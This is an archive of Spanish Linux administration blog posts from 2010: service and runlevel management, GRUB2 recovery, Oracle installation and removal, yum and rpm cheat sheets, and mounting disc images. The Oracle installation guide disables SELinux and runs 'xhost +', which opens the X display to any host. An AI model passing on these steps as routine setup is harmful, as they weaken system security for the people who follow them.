jueves, 30 de diciembre de 2010

Buscar archivos que contengan un texto en Linux

Para buscar archivos que contengan un cierto texto en Linux podemos utilizar el comando grep.

Su uso es muy sencillo. Basta con pasar como argumentos una cadena de texto a buscar (o una expresión regular) y el archivo o archivos en los que buscar.

grep “TODO” /home/zootropo/codigo/*.py

También podemos hacer que busque en todos los archivos contenidos en un cierto directorio, de forma recursiva, utilizando el flag -r:

grep -r “TODO” /home/zootropo/codigo/

viernes, 1 de octubre de 2010

Advertencia! - Fallo al mover el archivo joomla

Este error lo solucione en mi caso de la siguiente manera:

el archivo configuration.php,

var $log_path = '/var/www/Joomla15X/logs';
var $tmp_path = '/var/www/Joomla15X/tmp';

Esas variables contienen la ruta, puede ser la misma carpeta o diferentes, lo importante es que este la cartepa a la que hace referencia y aquí mi problema, !que tengan permiso de escritura!

si aun no saben como les doy los comandos, busquen en google
chmod
chgrp
chown

o manden un mail.

martes, 28 de septiembre de 2010

SERVICIOS

SERVICIOS

Copyright 2005-2010 Sergio González Durán
Se concede permiso para copiar, distribuir y/o modificar este documento siempre y cuando se cite al autor y la fuente de linuxtotal.com.mx y según los términos de la GNU Free Documentation License, Versión 1.2 o cualquiera posterior publicada por la Free Software Foundation.

autor: sergio.gonzalez.duran@gmail.com


Linux ofrece multitud de servicios o servidores, estos pueden iniciar o arrancar junto con la carga del sistema o pueden después ser puestos a funcionar cuando se requieran (es lo mejor). Parte esencial de la administración de sistemas Linux es continuamente trabajar con los servicios que este proporciona, cosa que es bastante sencilla. En este tutorial aprenderás todo lo necesario sobre como inicar/detener/reinicar etc. los servicios de tu equipo GNU/Linux.


Iniciando servicios manualmente, directorio init.d

Dentro de esta carpeta ubicada en /etc o en /etc/rc.d dependiendo de la distribucción, se encuntran una serie de scripts que permiten inicar/detener la gran mayoría de los servicios/servidores que estén instalados en el equipo. Estos scripts están programados de tal manera que la mayoría reconoce los siguientes argumentos:

  • start
  • stop
  • restart
  • status

Los argumentos son autodescriptivos, y tienen permisos de ejecucción, entonces siendo root es posible iniciar un servicio de la siguiente manera, por ejemplo samba:

#> /etc/rc.d/init.d/smb start Starting Samba SMB daemon           [OK] 

Solo que hay que cambiar start por stop | restart | status para detenerlo, reiniciarlo (releer archivos de configuración) o checar su estatus. Ahora bien si estás parado dentro del directorio puedes hacerlo asi.

#> pwd /etc/rc.d/init.d #> ./smb stop Shutting down Samba SMB daemon     [OK]

Se trata de tan solo un script asi que con el permiso de ejecucción (x) puedes ejecutarlo con ./ seguido del nombre del servicio, sin espacios y después el argumento que necesites, inicarlo, detenerlo etc.


El comando service

En varias distros, como Fedora o RedHat, existe el comando service, este comando permite también iniciar y/o detener servicios, de hecho funciona exactamente igual a como si escribieramos la ruta completa hacía el directorio init.d, con service se indica de la siguiente manera:

#> service mysql status Checking for service MySQL: stopped

Si se desea iniciarlo:

#> service mysql start Starting service MySQL                               [OK]

Iniciando servicios desde el arranque del sistema

En muchos casos es conveniente que un servidor o servicio inicien junto con el arranque del equipo en si, por ejemplo el servidor web Apache o alguna base de datos, esto es para que estén disponibles todo el tiempo y no se requiera de intervención del administrador para iniciarlos.

En Linux, a diferencia de otros sistemas operativos, es posible configurarlo en base a niveles de ejecucción (run levels), cada nivel de ejecucción (en la mayoría de las distros son 7), inicia o detiene (Start o Kill) ciertos servicios. Estos niveles son los siguientes:

  • 0 Detener o apagar el sistema
  • 1 Modo monousuario, generalmente utilizado para mantenimiento del sistema
  • 2 Modo multiusuario, pero sin soporte de red
  • 3 Modo multiusuario completo, con servicios de red
  • 4 No se usa, puede usarse para un inicio personalizado
  • 5 Modo multiusuario completo con inicio gráfico ( X Window)
  • 6 Modo de reinicio (reset)

Por ejemplo el nivel 0, que apaga el equipo, mata o detiene a todos los procesos del sistema, todos los servicios, lo mismo hace el 6 con la diferencia que después inicia un script que permite reiniciar el sistema. El nivel por omisión o por default del sistema esta definifo en /etc/inittab, en la línea initdefault:

$> grep initdefault /etc/inittab id:5:initdefault:
# runlevel 0 is System halt (Do not use this for initdefault!)
# runlevel 6 is System reboot
(Do not use this for initdefault!)

La salida es de una distro OpenSuse 10. Como se puede apreciar existe una línea que comienza con id, seguido por 5 que indicaría entonces el nivel por default del sistema, basta con cambiar este valor con cualquier editor, reiniciar el equipo y se entraría a otro nivel, por ejemplo el 3 que tiene una funcionalidad completa pero sin sistema de ventanas X Window (ideal para equipos obsoletos o con pocos recursos de hardware). Nótese que en el listado previo aparecen dos líneas de comentarios, las que empiezan con #, que hacen la advertencia de no usar nunca los niveles 0 y 6 de initdefault, ya que jamás arrancaría el equipo. Se tendría que usar un método de rescate. (He aqui la importancia de jamás dejar una terminal abandonada con una sesión de root abierta ya que podría llegar un bromista y rápidamente cambiar la línea initdefault a 6 por ejemplo, y después estaría muy divertido viendo a un pobre administrador novato trátandose de explicar porque diablos el equipó se resetea hasta el infinito sin nunca entrar a una pantalla de login).

El nivel de ejecucción actual del sistema puede ser consultado con who -r y con el comando runlevel, este último muestra dos números el primero es el nivel previo en que se estaba y el segundo el nivel actual, si no se ha cambiado de nivel aparece una N.


Comando init

Este comando te permite cambiar el nivel de ejecucción actual por otro, es decir puedes estar en el nivel 3 y en cualquier momento pasar al 5 o viceversa, o entrar a un modo monousuario para tareas de mantenimiento como utilizar fsck. Esto sin necesidad de cambiar la línea initdefault en /etc/inittab, simplemente usando el comando init:

#> init 3

Puedes reiniciar el equipo con init 6 o incluso apagarlo con init 0, de hecho shutdown y otros comandos como halt, lo que hacen es invocar a init para apagar el equipo mas otras tareas como sincronizar buffers, etc. Si estás en una máquina que tenga particiones con sistemas de archivos ext2 o de windows como FAT, si invocas init 0 o init 6 tal cual, corres el riesgo de perder datos que no estén guardados en disco todavía, para esto combina init 0 con el comando sync que escribe lo que este en buffers de memoria a disco:

#> sync; sync; init 0     

Con un doble sync nos aseguramos que todo se escriba en disco antes de comenzar a apagar.


Los directorios rc

Debajo de /etc se encuentra el directorio rc.d que a la vez contiene un directorio para cada nivel de ejecucción, asi tenemos rc0.d, rc1.d, rc2.d, rc3.d, etc. Hay algunas distros que estos directorios están ubicados directamente en /etc. Como ya te imaginaras, cada uno de estos directorios contiene scripts (o mas bien enlaces a scripts) que apuntan al directorio init.d, entonces el comando init (ya sea ejecutado manualmente o cuando se inicia el sistema), dependiendo del nivel indicado leera cada uno de los enlaces o accesos directos del directorio respectivo.

Ahora bien, un ejemplo (parcial) típico de estos directorios puede ser el siguiente, tomado de rc3.d

lrwxrwxrwx   1 root root    7 Oct 20 20:05 K22dbus -> ../init.d/dbus lrwxrwxrwx  
1 root root 9 Oct 20 20:05 K22resmgr -> ../init.d/resmgr lrwxrwxrwx
1 root root 8 Oct 20 20:05 K24fbset -> ../init.d/fbset lrwxrwxrwx
1 root root 9 Oct 20 20:05 K24random -> ../init.d/random lrwxrwxrwx
1 root root 8 Oct 20 18:23 S01fbset -> ../init.d/fbset lrwxrwxrwx
1 root root 9 Oct 20 18:22 S01random -> ../init.d/random lrwxrwxrwx
1 root root 7 Oct 20 18:29 S03dbus -> ../init.d/dbus lrwxrwxrwx
1 root root 9 Oct 20 18:23 S03resmgr -> ../init.d/resmgr lrwxrwxrwx
1 root root 12 Oct 20 18:24 S04boot.udev -> ../init.d/boot.udev lrwxrwxrwx
1 root root 10 Oct 20 21:16 S05network -> ../init.d/network lrwxrwxrwx
1 root root 9 Oct 20 18:23 S06syslog -> ../init.d/syslog

Nótese que todos son enlaces al directorio init.d que como ya se vió previamente es donde realmente están ubicados los scripts de arranque de los servicios o servidores. También, todos los enlaces comienzan con K (kill) o con S (start), es pues fácil deducir que los que comienzan con K son scripts que recibirán el argumento stop y los que comienzan con S el de start, es decir, se inician. Esta gran simplicidad ofrece una enorme potencia al momento de configurar servicios ya que basta con agregar o quitar enlaces con el formato indicado para personalizar los niveles de ejecucción a nuestro gusto.

Después de la K o S sigue un número consecutivo, seguido generalmente del nombre del servicio que afectan, el número secuencial es simplemente el orden en que se leeran los scripts, primero los K comenzando con el 01 y hacía adelante y después los S. Entonces si por ejemplo no queremos que se inicie el samba en el nivel 3 bastaría con borrar su enlace en este directorio:

#> pwd /etc/rc.d/rc3.d #> rm S54smb

Y listo, el servidor samba ya no arrancaría cuando entremos en este nivel de ejecucción. Si por lo contrario lo que deseamos es iniciar (o apagar) un servicio, basta con crear su enlace en el directorio respectivo:

#> pwd /etc/rc.d/rc5.d #> ln -s /etc/rc.d/init.d/mysql S90mysql
#> ls -l S90mysql lrwxrwxrwx 1 root root 9 Oct 20 18:23 S90mysql -> ../init.d/mysql

Con esto la siguiente vez que iniciemos el equipo o cambiemos a nivel 5 con init, también se iniciará el servidor de la base de datos MySQL. El número 90 es escogido al azar entre 01 y 99 es simplemente el orden en que serán iniciados o detenidos los servicios.


Comando chkconfig

Lo anterior puede resultar engorroso para más de alguno pero es la única manera si no se tienen herramientas gráficas o de línea de comandos para configurar los servicios mas agilmente, y precisamente una de estas herramientas de línea de comandos es chkconfig que permite configurar que servicios arrancan/detenien en cada nivel de ejecucción. Aclaración: chkconfig no inicia ni detiene servicios al momento (excepto aquellos bajo xinetd), tan solo crea o elimina precisamente los enlaces de los que se habló en el punto anterior de una manera mas amigable. Si lo que se quiere es iniciar o detener el servicio en tiempo real o manualmente hay que usar service o directamente el script con su argumento conveniente tal como se explicó anteriormente.
Veamos ejemplos que muestran como trabajar con chkconfig.

Con la opción --list nos da una lista completa de todos los servicios instalados y para cada nivel si arrancará (on) al entrar a ese nivel o se detendrá (off) o simplemente no se iniciara. Nótese que al final de la lista vienen los servicios que dependen del superservidor xinetd.

#> chkconfig --list apache2                  
0:off 1:off 2:off 3:off 4:off 5:off 6:off bluetooth
0:off 1:off 2:off 3:off 4:off 5:off 6:off cron
0:off 1:off 2:on 3:on 4:off 5:on 6:off cups
0:off 1:off 2:on 3:on 4:off 5:on 6:off dhcpd
0:off 1:off 2:off 3:off 4:off 5:off 6:off ldap
0:off 1:off 2:off 3:off 4:off 5:off 6:off mysql
0:off 1:off 2:off 3:off 4:off 5:off 6:off named
0:off 1:off 2:off 3:off 4:off 5:off 6:off network
0:off 1:off 2:on 3:on 4:off 5:on 6:off nfs
0:off 1:off 2:off 3:on 4:off 5:on 6:off quotad
0:off 1:off 2:off 3:off 4:off 5:off 6:off smb
0:off 1:off 2:off 3:on 4:off 5:on 6:off vmware
0:off 1:off 2:on 3:on 4:off 5:on 6:off xinetd
0:off 1:off 2:off 3:on 4:off 5:on 6:off zebra
0:off 1:off 2:off 3:off 4:off 5:off 6:off xinetd based services:
rsync: off sane-port: off servers:
off services: off swat: on
systat: off tftp: off time:
off time-udp: off vnc: off
vsftpd: off

Si se indica como argumento el nombre de algún servicio nos regresará su estatus:

#> chkconfig smb smb   on

Sin ningún argumento nos dará una lista con el status de todos los servicios:

#> chkconfig httpd  off mysql  on smb    on

Se desea que el servidor web apache (httpd) inicie cuando se entra en el nivel 5, entonces usamos la opción --level:

#> chkconfig --level 5 httpd on

La base de datos MySQL no se desea que inicie en los niveles 3 y 5, solo hasta que el administrador decida arrancarla:

#> chkconfig --level 35 mysql off

Ambientes gráficos

En todas las distribucciones actuales en sus ambientes gráficos X Window incluyen herramientas de configuración se servicios que facilitan mucho la administración de servidores. En una misma pantalla podemos cambiar niveles de ejecucción, con un click indicar si el servicio arranca o se detiene, incluso iniciarlos o detenerlos en ese momento, todo vía gráfica. Lo mejor es aprenderlo a realizarlo desde la línea de comandos ya que esta será muy similar en casi todas las distros o puede ser que el linux que se esté utilizando no tenga servicios gráficos, aun asi, ya familiarizados con una distribucción es muy sencillo e intuitivo utilizar estas herramientas gráficas por lo que no entraremos en detalles, solo diremos que por ejemplo en SuSE con yast o yast2 es posible no solo controlar servicios sino multitud de cosas mas, en redhat tenemos redhat-config-services y en fedora e incluso versiones enterprise de redhat es system-config-services, mandrake, ubuntu, etc. Todas tienen una interfaz gráfica, es solo cuestión de buscarla.

Por otro lado tenemos interfaces web como la excelente herramienta webmin, que también permite un control total sobre el manejo de servidores, sumamente eficaz cuando se controlan servidores via remota por la web.

lunes, 27 de septiembre de 2010

recuperar el grub2 en ubuntu

Consiste en usar una distribución en modo LiveCD para instalar nuevamente el GRUB. Usaremos el LiveCD de Ubuntu 9.10 o superior (debe ser la versión Live o Desktop), aunque puede ser cualquier otra distribución que use GRUB2 como gestor de arranque y no LILO ni Grub 1.

Lo primero que debemos hacer es arrancar el live-cd y abrir una terminal. Despues escribimos los siguiente para ver las particiones de los distintos discos duros:

$ sudo fdisk -l

Después vemos cual es la partición donde tenemos Ubuntu y la montamos en /mnt (en la mayoría de los casos esta partición será sda1, el ejemplo lo haré con esa partición pero mira cual es tu partición con el comando fdisk):

$ sudo mount /dev/sda1 /mnt

Ahora, monta el resto de los dispositivos:

$ sudo mount --bind /dev /mnt/dev
$ sudo mount --bind /proc /mnt/proc

Y ejecuta el comando chroot de forma que accedemos como root al sistema de archivos de nuestro antiguo Ubuntu:

$ sudo chroot /mnt

Por último cargamos el Grub en el MBR ejecutando el siguiente comando:

# grub-install --recheck /dev/sda 

(sda lo debemos substituir por el disco duro que utilizamos para arrancar los sistemas operativos, casi siempre es sda. Ojo!! no poner el número de partición, solo sda).

Reiniciamos y cuando vuelva a arrancar ubuntu (no el del LiveCD), podemos ajustar en el menú del GRUB manualmente para que aparezca en el menú de arranque el nuevo sistema operativo que nos borró el MBR, o dejar que lo haga el automáticamente con el siguiente comando:

$ sudo update-grub2

Si el comando no te funciona, quizás necesites instalar el paquete grub2:

$ sudo aptitude install grub2

si no reconoce el windows puedes hacer lo siguiente

--->> root@christian-laptop:/home/christian# os-prober
--->> /dev/sda1:Windows 7 (loader):Windows:chain
root@christian-laptop:/home/christian# update-grub
Generating grub.cfg ...
Found linux image: /boot/vmlinuz-2.6.32-24-generic
Found initrd image: /boot/initrd.img-2.6.32-24-generic
Found linux image: /boot/vmlinuz-2.6.32-23-generic
Found initrd image: /boot/initrd.img-2.6.32-23-generic
Found linux image: /boot/vmlinuz-2.6.32-21-generic
Found initrd image: /boot/initrd.img-2.6.32-21-generic
Found memtest86+ image: /boot/memtest86+.bin
Found Windows 7 (loader) on /dev/sda1
done

martes, 14 de septiembre de 2010

Oracle Database 11gR2

fuente: http://cotosilva.blogspot.com/2010/08/como-instalar-oracle-database-11gr2-en.html

Como instalar Oracle Database 11gR2 en Oracle Enterprise Linux 5

Para instalar y configurar Oracle 11gR2 se ha considerado Oracle Enterprise Linux 5 de 64bit como sistema operativo base para la instalación.

Paso 1: Preparación de Sistema Operativo

Seleccionar los siguientes paquetes de sistema operativo para instalar nuestro servidor Linux:

.- GNOME Desktop Environment
.- Editors
.- Graphical Internet
.- Text-based Internet
.- Development Libraries
.- Development Tools
.- Server Configuration Tools
.- Administration Tools
.- Base
.- System Tools
.- X Window System

Paso 1.5 Configurar el repositorio Oracle Public Yum

En un post anterior, comente la configuración paso a paso del repositorio publico Yum de Oracle para RHEL5,OEL5, RHEL4, EOL4. Este paso es opcional; pero la verdad que simplifica demasiado las tareas de búsqueda e instalación de los paquetes RPM necesarios para correr runinstaller

Ingresa al siguiente Link para ver completo el post.

Como configurar el repositorio Oracle Public Yum

Paso 2: Bajar el software de Oracle desde OTN.

Oracle Database 11g Release 2 (11.2.0.1.0) para Linux x86-64

linux.x64_11gR2_database_1of2.zip
linux.x64_11gR2_database_2of2.zip

Paso 3: Generar un Stage Area

El Stage Area es un concepto utilizado para indicar donde se almacena el software que necesitamos para una instalación. En este caso los siguientes archivos deben ser desempaquetados mediante el utilitario unzip.

Ejemplo:

cd /StageArea

unzip linux.x64_11gR2_database_1of2.zip
unzip linux.x64_11gR2_database_2of2.zip

Paso 4: Configurar archivo de hosts

Acceder al directorio /etc y editar el archivo hosts. Se debe agregar la IP, el nombre completo del host con su dominio y el nombre abreviado o el nombre de la máquina. en el siguiente formato:

192.168.xx.xx test.andoria.cl test

Paso 5: Parámetros de Kernel

Desde la versión Oracle 10g el instalador valida los parámetros de Kernel configurados en el sistema operativo. En la versión de Oracle 11gR2 es posible observar todos los parámetros que tienen problemas y poder corregir el error mediante un script generado automáticamente, de tal manera que al ejecutarlo con el usuario root, es posible modificar dinámicamente dichos parámetros y volver a chequear los prerrequisitos para continuar con la instalación y no tener que ejecutarlo nuevamente.



Paso 6: Configurando el archivo limits.conf

Para configurar el archivo limits.conf es necesario acceder al directorio /etc/security y editar el archivo de la siguiente manera:

vi /etc/security/limits.conf

Una vez editado se deben agregar las siguientes líneas:

oracle soft nproc 2047
oracle hard nproc 16384
oracle soft nofile 1024
oracle hard nofile 65536

Paso 7: Configurando el archivo login:

acceder al directorio /etc/pam.d y editar el archivo login de la siguiente manera:

vi /etc/pam.d/login

Una vez editado se debe agregar la siguiente línea. En el caso que no exista se debe crear el archivo login.

session required pam_limits.so

Paso 9: Deshabilitando la seguridad en Linux

Es necesario deshabilitar la seguridad configurando el archivo config de la siguiente manera:

vi /etc/selinux/config

Una vez editado se debe configurar el parámetro SELINUX=disabled

Paso 8: Revisión de paquetes rpm

En un posteo anterior explique en detalle la configuración del repositorio Oracle yum install. Para revisar el procedimiento revisar el siguiente link

Como se puede observar de igual manera que los parámetros de kernel, el instalador indica cuales son los paquetes que faltarían instalar para continuar con el proceso de instalación.

NOTA: Estas librerías no están incluidas en la validación del paquete de 64bit correspondiente a esta versión de Oracle Enterprise Linux 5. Se deben instalar ya que son un prerrequisito necesario para continuar.



Una vez corregidos todos los problemas, se debe ejecutar nuevamente el botón "Check Again". Solo en este paso es posible presionar el botón "Next" para continuar con la instalación.

Paso 10: Creación de Grupos y usuarios

Grupos:

Con el usuario root ejecutar los siguientes comandos para crear los grupos:

groupadd oinstall
groupadd dba
groupadd oper

Usuarios:

Con el usuario root ejecutar los siguientes comandos para crear los usuarios:

useradd -g oinstall -G dba,oper, oracle
passwd oracle





Lo más cómodo para arrancar el instalador, es necesario abrir un terminal con el usuario root y ejecutar la siguiente línea en el terminal. Esto entrega los permisos necesarios para que cualquier usuario pueda ejecutar la interfaz grafica ‘X’.

[root@vmdali ~]# xhost +
access control disabled, clients can connect from any host

Luego cambiarse al usuario Oracle y ejecutar lo siguiente:

[root@vmdali ~]# su - oracle

[oracle@vmdali]$ export DISPLAY=:0.0
[oracle@vmdali]$ /Stage/database/runInstaller



La primera ventana de diálogo nos indica si queremos agregar nuestro mail y si además necesitamos que Oracle Support tenga nuestra configuración en sus sistemas. La verdad que para este caso no lo he seleccionado. Para continuar seleccionar el botón "NO" y presionar el botón "Next" para avanzar a la siguiente pantalla.



Seleccionar la opción "Install Database Software Only". Esta opción instala solamente el motor Oracle sin crear una base de datos. Para continuar presionar el botón "Next".



Seleccionar la opción "Single Instance Database Installation". La otra opción es para configurar Real Application Cluster. Para continuar presionar el botón "Next".



En esta pantalla el instalador nos entrega la posibilidad de elegir el soporte de idiomas para nuestra instalación. En este caso se eligió el idioma Inglés. Para continuar presionar el botón "Next".



Ahora, podemos elegir cual es la característica de componentes y licenciamiento que tendrá nuestro motor de base de datos. La Enterprise Edition tiene todas las funcionalidades necesarias para armar temas de Alta disponibilidad y Oracle Data Guard. También es importante por costos ofrecer un licencia más barata como lo es Oracle Standard Edition ONE, permitiendo configurar un RAC con dos nodos, lo cual es mucho más barato, si no utilizas funcionalidades como índices particionados, partitioning entre otras. Esto permite tener menor costo en licenciamiento. Presionar el botón "Next" para continuar.



Seleccionar cualquiera de las características del motor Oracle necesarias para la instalación. Es importante considerar el tipo de licencia que posee el negocio. Presionar continuar presionar el botón "Next".

Para más información consultar las siguientes notas en Metalink:

NOTA:271886.1 - Differences Between Different Editions of Oracle Database 10G

NOTA:1084132.1 - Differences Between Enterprise, Standard and Personal Editions on Oracle 11.2





Definiendo el Oracle Base Directory:

Dentro de las buenas prácticas de Oracle para mantener un orden general de todas las versiones y software existentes. Se define un directorio para almacenar todas las instalaciones de Oracle. Esto se conoce como ORACLE_BASE. El directorio base definido para la instalación del motor seria la siguiente:

/u01/app/oracle

Definiendo el Oracle Home Directory:

Se define al ORACLE_HOME como el directorio donde se almacenan los binarios del Motor Oracle.

/u01/app/oracle/product/11.2.0/db_1



Definiendo el Oracle Inventory:

Este directorio almacena todo el inventario de los productos Oracle que son instalados, como por ejemplo las versiones de cada componente. También es necesario colocar el grupo dueño del software Oracle. Para este caso el usuario oracle pertenece a dos grupos como el oinstall y dba. Por lo general uno administra el software del oracle y el dba para la instancia y los archivos que componen la base de datos física. Para continuar presionar el botón "Next".



Para efectos de esta instalación solamente asigne al grupo oinstall como el administrador de la base de datos y también operador. En este caso los privilegios de OSDBA podrán otorgar privilegios de SYSDBA y el OSOPER podrá otorgar privilegios de SYSOPER; pero debe ser miembro del grupo oinstall.




El instalador permite una revisión automática de todos los prerrequisitos mínimos necesarios para completar una instalación exitosa.




Luego de realizar el análisis completo de nuestro sistema, el instalador es capaz de entregar los parámetros con problemas o si faltan paquetes de sistema y un posible valor mínimo para cumplir con los prerrequisitos de instalación. Para corregir el problema es necesario presionar el botón "Fix & Check Again".



Entonces....voilà!!!! , el instalador genera un script, el cual trae la corrección del problema. En este caso debemos ingresar al directorio: /tmp/CVU_11.2.0.1.0_oracle. Acá se encuentra el script llamado runfixup.sh

La ejecución del script debe ser realizada por el usuario root

./runfixup.sh

Una vez ejecutado nuevamente ejecute el botón "Fix & Check Again" y continúe la instalación.




La barra de progreso indica el estado de avance de la instalación. A su vez, en la pantalla de "status" despliega el estado general de cada tarea y su avance.



Una vez, terminada esta gran travesía...podemos decir que el motor Oracle fue instalado exitosamente.



Saludos,
Alberto Silva Gallardo.

miércoles, 1 de septiembre de 2010

YUM

yum install paqueteInstala la última versión del paquete indicado. Pide por confirmación.
yum -y install paqueteInstala la última versión del paquete indicado. Instala sin pedir confirmación.
yum -y install paquete1 paquete2Instala la última versión de los paquetes indicados, no hay límite de cuantos paquetes se pueden indicar. Instala sin pedir confirmación.
yum -y install paquete.archInstala la última versión del paquete indicado con la arquitectura indicada, por ejemplo: yum install mysql.i386.
yum -y updateActualiza todos los paquetes en el sistema.
yum -y update --exclude=sendmailActualiza todos los paquetes del sistema, excepto sendmail.
yum -y update httpdActualiza solo el paquete indicado, en este caso el servidor Web Apache.
yum -y update opera firefoxActualiza los paquetes indicados.
yum -y update --enablerepo=centosplusAdemás de los repositorios que se tengan se habilta otro, en este caso 'centosplus', esta opción también aplica para 'install'.
yum -y upgradeActualiza los paquetes indicados, pero tomando en cuenta paquetes obsoletos en el cálculo de la actualización. Esta opción es idéntica a yum -y --obsoletes update y solo es realmente útil cuando se actualizan paquetes a través de distintas versiones de la distrubición, por ejemplo de centos4 a centos5.
yum check-updateMuestra una lista de paquetes que necesitan ser actualizados sin instalarlos.
yum info paqueteDescripción completa del paquete indicado. Ejemplo:yum info samba
yum info recentMuestra información resumida de los últimos paquetes instalados o actualizados.
yum info availableMuestra información resumida de los paquetes disponibles a actualizarse.
yum listLista de todos los paquetes disponibles para instalación, actualización o ya instalados.
yum list | grep mysqlMuestra solo los paquetes disponibles o ya instalados de mysql.
yum list installedLista de todos los paquetes instalados en el sistema.
yum list availableLista de todos los paquetes disponibles para ser instalados.
yum list updatesLista de todos los paquetes disponibles para ser actualizados.
yum remove telnetRemueve el paquete indicado.
yum -y remove telnet vncserverRemueve los paquetes indicados sin pedir confirmación.
yum search paqueteBusca el 'paquete' en la base de datos de paquetes instalados o para instalar. 'paquete' puede ser una palabra parcial del paquete a buscar.
yum clean headersElimina todos los achivos de encabezados que yum utiliza para resolver dependencias.
yum clean packagesCuando utilizas la opción 'update' o 'install' el paquete que se desacrga e instala o actualiza no se elimina del sistema, ocupando espacio, con esta opción eliminas esos paquetes.
yum clean allLimpia tanto archivos de encabezados como paquetes, como utilizar las dos opciones previas, pero al mismo tiempo.
yum repolistLista los repositorios que se tengan de yum.

jueves, 26 de agosto de 2010

Desinstalar Oracle 10g Expression Edition XE en Debian y Ubuntu

fuente: http://javoaxian.blogspot.com/2008/09/desinstalar-oracle-10g-expression.html

Con anterioridad escribí un post de cómo podíamos instalar Oracle 10g Expression Edition ya sea en nuestra máquina con Debian o Ubuntu, pues ahora bien, revisando las visitas en el blog, me he podido percatar que muchos llegan preguntando como pueden desinstalar esta base de datos, por tal motivo decidí realizar este post.

La forma de desinstalarlo es muy sencilla, bastará con ejecutar los siguientes comandos como el usuario root para poder desinstalar completamente este manejador de base de datos.

javoaxian@darthmaul:~$ su -
root@darthmaul:~$ dpkg -P oracle-xe-universal
(Leyendo la base de datos ...
120095 ficheros y directorios instalados actualmente.)
Desinstalando oracle-xe-universal ...
Shutting down Oracle Database 10g Express Edition Instance.
Stopping Oracle Net Listener.
root@darthmaul:~$ rm -rf /usr/lib/oracle/
root@darthmaul:~$ rm /etc/oratab
root@darthmaul:~$ rm /etc/init.d/oracle-xe
root@darthmaul:~$ rm -rf /usr/share/doc/oracle_xe

Esto es todo lo que se tiene que hacer para desinstalar este manejador de base de datos, ojala que les sea de utilidad.

lunes, 23 de agosto de 2010

Notas sobre el manejo RPM

Por Paulet
Instalación de software mediante sistema de paquetes.
* Ventajas:
+ Comprueba automáticamente las dependencias, para ver si falta algo, ya está instalado, posibles
conflictos...
+ La instalación y desinstalación es automática y no deja basura en el sistema.
+ Posibilita la actualización automática de paquetes.
+ Realizar consultas sobre la base de datos.
Aunque existen dos utilidades gráficas que facilitan su instalación: gnorpm y kpackage, desde Fent
Linux aconsejamos el uso de la consola para este tipo de menesteres.
RPM significa: Red Hat Package Manager fueron creados por los de Red Hat para su propia
distribución
Distros que funcionan con este sistema de paquetes: Red Hat/ Fedora, Suse, Mandrake y un largo
etc...
* Entendiendo la nomenclatura:
FentLinux-1.1.0rc2-i686-fc3.rpm
La primera parte corresponde al nombre del programa en esta ocasión:
FentLinux
La segunda parte es el número de la versión del programa:
1.1.0
Las siglas rc, significan versión candidata a ser versión final.
A continuación la arquitectura, en este caso i686
Inciso: Todas las arquitecturas más habituales.
i386 - 386
i486 - 486
i586 - Pentium
i686 - Pentium II
athlon – AMD Athlon
A continuación los datos de la distro: rhX – RedHat X, siendo X el número de versión
fcX – Fedora Core X
mdkX – Mandrake
SuSe_X – Suse
yos - yoper
Y por último la extensión, que puede ser o bien '.rpm', que es el formato binario, o bien '.src.rpm' y
en ese caso nos encontraríamos ante fuentes.
* En general el proceso de actuación sería:
rpm -[opciones] paquete.rpm
Funciones:
* Instalación: Dos posibilidades.
-i
Por ejemplo:
rpm -i paquete.i386.rpm
No comprueba la base de datos y no actualiza en el caso de estar ya instalado en el sistema una
versión más antigua.
-ivh
Tecleando los comandos: rpm –ivh nombre_paquete
Con los parámetros:
–i le indicas que vas a instalar un paquete
–v para que muestre información extra
- h ver una barra del progreso de instalación.
* Actualización: Dos opciones.
Para actualizar vale con rpm -U Paquete.rpm
-U
Para instalar u actualizar un paquete: rpm -Uvh paquete.i386.rpm
-Uvh
Recomendada ya que comprueba la base de datos y actualiza si es necesario. * Desinstalación:
Usar el nombre de la aplicación para desinstalarla sin número de versión.
Desinstalación:
rpm -e paquete
* Prueba o test: para una prueba para observar las acciones que
vas a realizar.
-test
* Posibles problemas
+ Ignorar un error, útil si hay algo que contiene un archivo que ya esta instalado.
–replacefiles
+ Falta una dependencia: habrá que descargarla e instalarla. Comando para saltarse el aviso, no
recomendable ya que quizás no funcione después:
–nodeps
* Para casos especiales:
+ Para actualizar, pero sólo si hay una versión más antigua.
-F
+ Para 'forzar' la instalación cuando sea necesario.
--force
* Datos
+ Para saber si un paquete se encuentra o no instalado:
Ejemplo: rpm -q FentLinux
No sé le indica el número de versión.
+ Para saber toda la información sobre un paquete ya instalado en el sistema
rpm -qi paquete
Ejemplo:
rpm - qi FentLinux
Tampoco se le indica el número de versión.
+ Para conocer todas las opciones sobre un paquete no instalado:
rpm -qpi --clean paquete (previamente descargado).i386.rpm + Para conocer las firmas del paquete y saber con seguridad la firma PGP de la persona que
construyo el paquete.
rpm -Kv paquete.i386.rpm
+ Para saber que tengo instalado y que no:
rpm -qa
+ Para un paquete concreto
rpm -q NombrePaquete
Para conocer todas las opciones man rpm en cualquier terminal o consola
Nota. es necesario funcionar como root para instalar, desinstalar y actualizar, pero no para lo demás
Abril 2005
Liberada bajo licencia
http://creativecommons.org/licenses/by-nc-sa/2.5/

domingo, 15 de agosto de 2010

Como montar/convertir archivos ISO, BIN, CUE, MDF, NRG, IMG y DAA en Linux

Como montar archivos ISO, BIN, CUE, MDF, NRG, IMG y DAA en Linux
24 05 2006

Esta guía se irá ampliando con nuevos tipos de archivos de imagen.

(Actualmente: ISO, BIN, CUE, MDF, NRG, IMG/CCD, DAA)



Si encuentras cualquier error en esta guía por favor deja un
comentario al respecto.

[ Créditos: este “howto” está basado en parte en las instrucciones que
da Rodrigo Perez en este post aunque no he incluido algunos de sus
métodos porque no los he probado personalmente. Además se ha utilizado
información encontrada en los foros de Ubuntu-es.org así como en la
Guia-Ubuntu -versión Breezy-. Para los archivos IMG se ha usado la
información encontrada en este foro. Las instrucciones para convertir
imágenes DAA las encontré en esta guía que además incluye otras
instrucciones para manipular archivos DAA.)



==============================
===========



Linux tiene la posibilidad de montar las imágenes de cd/dvd sin tener
que grabarlas. Asumiremos que usas una distribución que usa “apt” para
instalar y actualizar paquetes, este es el caso de debian, ubuntu,
suse,etc. Asumiremos también que sabes como crear directorios y que
sabes qué es “montar” un sistema de ficheros. Vamos al grano.

Con unos cuantos comandos de consola podremos montar distintos tipos
de imágenes de CD/DVD fácilmente:

Lo más básico, montar una imagen ISO:

sudo mount -t iso9660 -o loop archivo.iso /directorio/de/montaje

Montando imágenes BIN y CUE:

Para poder montar estos archivos necesitas convertirlos antes a imagen
ISO, esto lo puedes hacer con el programa bchunk.

(Si no tienes instalado bchunk)

